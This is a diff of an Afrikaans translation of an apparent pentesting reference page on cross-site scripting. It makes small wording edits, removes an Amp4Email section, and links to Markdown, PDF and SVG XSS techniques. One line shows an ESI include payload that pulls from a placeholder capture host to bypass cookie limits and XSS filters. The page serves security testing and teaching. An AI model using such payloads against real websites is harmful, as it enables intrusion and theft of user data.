@ -1502,7 +1503,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
|
||||
### XSS in Markdown
|
||||
|
||||
Kan Markdown kode ingesluit word wat gerender sal word? Miskien kan jy XSS kry! Kyk:
|
||||
Kan Markdown kode inspuit wat gerender sal word? Miskien kan jy XSS kry! Kyk:
|
||||
|
||||
{{#ref}}
|
||||
xss-in-markdown.md
|
||||
@ -1514,7 +1515,7 @@ Het jy XSS op 'n **webwerf wat caching gebruik**? Probeer **dit opgradeer na SSR
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Gebruik dit om koekie-beperkings, XSS-filters en nog baie meer te omseil!\
|
||||
Gebruik dit om koekiebeperkings, XSS-filters en nog baie meer te omseil!\
|
||||
Meer inligting oor hierdie tegniek hier: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS in dinamies geskepte PDF
|
||||
@ -1532,14 +1533,6 @@ As jy nie HTML-tags kan inspuit nie, kan dit die moeite werd wees om te probeer
|
||||
pdf-injection.md
|
||||
{{#endref}}
|
||||
|
||||
### XSS in Amp4Email
|
||||
|
||||
AMP, wat daarop gemik is om die webbladprestasie op mobiele toestelle te versnel, sluit HTML-tags in wat aangevul word deur JavaScript om funksionaliteit te verseker met 'n fokus op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, toeganklik via [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Die [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk met inhoud binne hul e-posse te interaksie.
|
||||
|
||||
Voorbeeld [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS om lêers op te laai (svg)
|
||||
|
||||
Laai 'n lêer soos die volgende op as 'n beeld (van [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user